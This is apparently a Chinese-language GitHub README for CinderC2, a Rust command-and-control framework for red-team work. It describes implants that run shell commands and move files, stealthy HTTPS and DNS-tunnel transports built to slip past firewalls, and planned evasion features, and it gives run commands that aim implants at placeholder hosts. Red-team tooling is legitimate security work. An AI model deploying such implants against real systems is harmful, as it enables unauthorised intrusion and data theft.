EmberForgeSec/CinderC2
GitHub: EmberForgeSec/CinderC2
一个用 Rust 编写的 Linux 优先命令与控制框架,支持多传输层和默认加密通信。
Stars: 2 | Forks: 1
# CinderC2




CinderC2 是一个用 Rust 编写的轻量级命令与控制框架,专为红队行动和对手模拟而设计。Linux 优先、内存安全,从零开始构建。
## 功能特性
- **默认加密** — 每次连接都使用 X25519 密钥交换 + AES-256-GCM
- **多传输层** — TCP、HTTPS、QUIC、DNS 隧道和跨协议自动切换
- **服务器代理架构** — 操控端和植入体从不直接连接;服务器负责路由任务和结果
- **拉取式植入体** — 植入体轮询获取任务,无需入站连接
- **HTTPS 传输** — 基于 Axum,带 Apache 伪装页面、UA 轮换、无证书依赖
- **QUIC 传输** — 基于 UDP,使用 quinn,自签名证书,每个请求一个流
- **DNS 隧道** — 子域名编码的 A 查询 + TXT 响应,纯 UDP
- **跨协议自动切换** — HTTPS → DNS → TCP 失败时自动轮换
- **操控端协议** — 专用操控端端口,用于任务提交和结果获取
- **精简二进制** — 发布版本约 3MB(已剥离符号)
- **自动重连** — 植入体可在网络中断后恢复,支持可配置的抖动延迟
- **模块化工作区** — 各组件均为独立的 crate
- **Linux 优先** — 面向 Linux 服务器和工作站
## 架构
```
[Operator] ←→ [cinder-cli] ←─operator protocol─→ [cinder-server] ←─implant protocol─→ [cinder-implant]
↕
[cinder-common]
(crypto + protocol)
```
- **cinder-server** 监听多个端口:植入体 TCP (4444)、HTTP (8080)、QUIC (4433)、操控端 (5000)
- 操控端提交任务 → 服务器排队 → 植入体轮询执行 → 结果存储 → 操控端获取
- 操控端和植入体从不共享连接 — 服务器充当代理
| Crate | 描述 |
|-------|-------------|
| `cinder-common` | 加密(X25519 + AES-256-GCM)、有线协议、Transport trait |
| `cinder-server` | 团队服务器、TCP/HTTP/QUIC 监听器、会话管理 |
| `cinder-implant` | 远程代理、多传输层、shell 执行、文件操作、自动重连 |
| `cinder-cli` | 交互式操控端 CLI |
| `cinder-dns` | DNS 隧道编解码器、服务器、客户端 |
| `cinder-stager` | 有效载荷生成与投放器 *(即将推出)* |
| `cinder-evasion` | 反调试、反虚拟机、睡眠混淆 *(即将推出)* |
## 构建
```
# 调试
cargo build
# 发布(优化版)
cargo build --release
# 运行测试
cargo test --workspace
```
## 使用方法
```
# 启动团队服务器(所有传输方式)
cargo run --bin cinder-server -- \
--host 0.0.0.0 \
--port 4444 \
--http-port 8080 \
--quic-port 4433 \
--operator-port 5000
# 运行 implant — TCP(默认)
cargo run --bin cinder-implant -- --host 10.0.0.1 --port 4444
# 运行 implant — HTTPS
cargo run --bin cinder-implant -- --host 10.0.0.1 --port 8080 --transport https
# 运行 implant — QUIC
cargo run --bin cinder-implant -- --host 10.0.0.1 --port 4433 --transport quic
# 运行 implant — DNS 隧道
cargo run --bin cinder-implant -- --host 8.8.8.8 --port 53 --transport dns --dns-domain c2.example.com
# 运行 implant — 跨协议回退(HTTPS → DNS → TCP)
cargo run --bin cinder-implant -- --host 10.0.0.1 --port 8080 --transport fallback \
--dns-domain c2.example.com --fallback-tcp-port 4444 --fallback-dns-resolver 8.8.8.8
# 操作员 CLI(连接到服务器操作端口)
cargo run --bin cinder-cli -- --host 127.0.0.1 --port 5000
```
## CLI 命令
| 命令 | 描述 |
|---------|-------------|
| `sessions` | 列出活动的植入体(显示传输类型) |
| `interact ` | 与植入体交互 |
| `shell ` | 在植入体上执行 shell 命令 |
| `download ` | 从植入体下载文件 |
| `upload ` | 上传文件到植入体 |
| `sysinfo` | 获取植入体系统信息 |
| `ps` | 列出植入体上的进程 |
| `kill ` | 终止植入体上的进程 |
| `ls ` | 列出植入体上的目录 |
| `exit` | 断开与植入体的连接 |
## 传输层
| 传输层 | 协议 | 端口 | 隐蔽性 | 混淆 | 备注 |
|-----------|----------|------|---------|---------|-------|
| TCP | 原始 TCP | 4444 | 低 | 无 | 默认,最简单 |
| HTTPS | HTTP POST | 8080 | 高 | Apache 伪装页面、UA 轮换 | 看起来像正常网络流量 |
| QUIC | UDP/QUIC | 4433 | 中等 | 自签名证书、每请求一流 | 快速,基于 UDP |
| DNS | UDP/DNS A+TXT | 53 | 非常高 | 子域名编码、TXT 外泄 | 可穿透大多数防火墙 |
| 自动切换 | HTTPS→DNS→TCP | 多个 | 高 | 失败时自动轮换 | 最适合不稳定网络 |
## 加密协议
1. 植入体连接服务器
2. 双方生成 X25519 临时密钥对
3. 交换公钥(明文,32 字节)
4. 派生共享密钥 → HKDF-SHA256 → AES-256-GCM 密钥
5. 所有后续消息使用随机 96 位 nonce 加密
## 项目结构
```
CinderC2/
├── crates/
│ ├── cinder-common/
│ ├── cinder-server/
│ ├── cinder-implant/
│ ├── cinder-cli/
│ ├── cinder-dns/
│ ├── cinder-stager/ (upcoming)
│ └── cinder-evasion/ (upcoming)
├── docs/
│ └── ARCHITECTURE.md
├── .github/
│ ├── workflows/ci.yml
│ ├── CODEOWNERS
│ ├── ISSUE_TEMPLATE/
│ ├── PULL_REQUEST_TEMPLATE.md
│ └── dependabot.yml
├── CONTRIBUTING.md
├── SECURITY.md
├── CODE_OF_CONDUCT.md
├── Cargo.toml
└── README.md
```
## 路线图
- [x] HTTP/S 监听器 + 传输层
- [x] DNS 隧道(cinder-dns)
- [x] QUIC 传输层(quinn)
- [x] 跨协议自动切换(HTTPS → DNS → TCP)
- [x] Transport trait 抽象
- [ ] Stager 系统(shellcode、memfd、投放器)
- [ ] 混淆(反调试、反虚拟机、睡眠混淆)
- [ ] PTY shell(正确的终端模拟)
- [ ] TUI 界面(ratatui)
- [ ] Lua 模块系统
- [ ] 交叉编译(ARM、MIPS)
## 许可证
GPL-3.0 — 详见 [LICENSE](LICENSE)。
## 组织
隶属于 [EmberForgeSec](https://github.com/EmberForgeSec) — 用 Rust 打造的安全工具。
标签:AES-256, C2框架, DNS 反向解析, DNS隧道, HTTPS隧道, IP 地址批量处理, PE 加载器, QUIC, Rust, X25519, 代码生成, 入侵模拟, 内存安全, 加密通信, 可视化界面, 后门, 命令与控制, 多协议, 安全学习资源, 安全工具集合, 密钥交换, 对手模拟, 恶意软件框架, 数据外泄, 无线安全, 本体建模, 模块化架构, 横向移动, 流量混淆, 渗透测试工具, 漏洞评估, 红队操作, 编程规范, 网络安全, 网络流量审计, 网络隧道, 自动重连, 远控木马, 通信加密, 通知系统, 隐写术, 隐私保护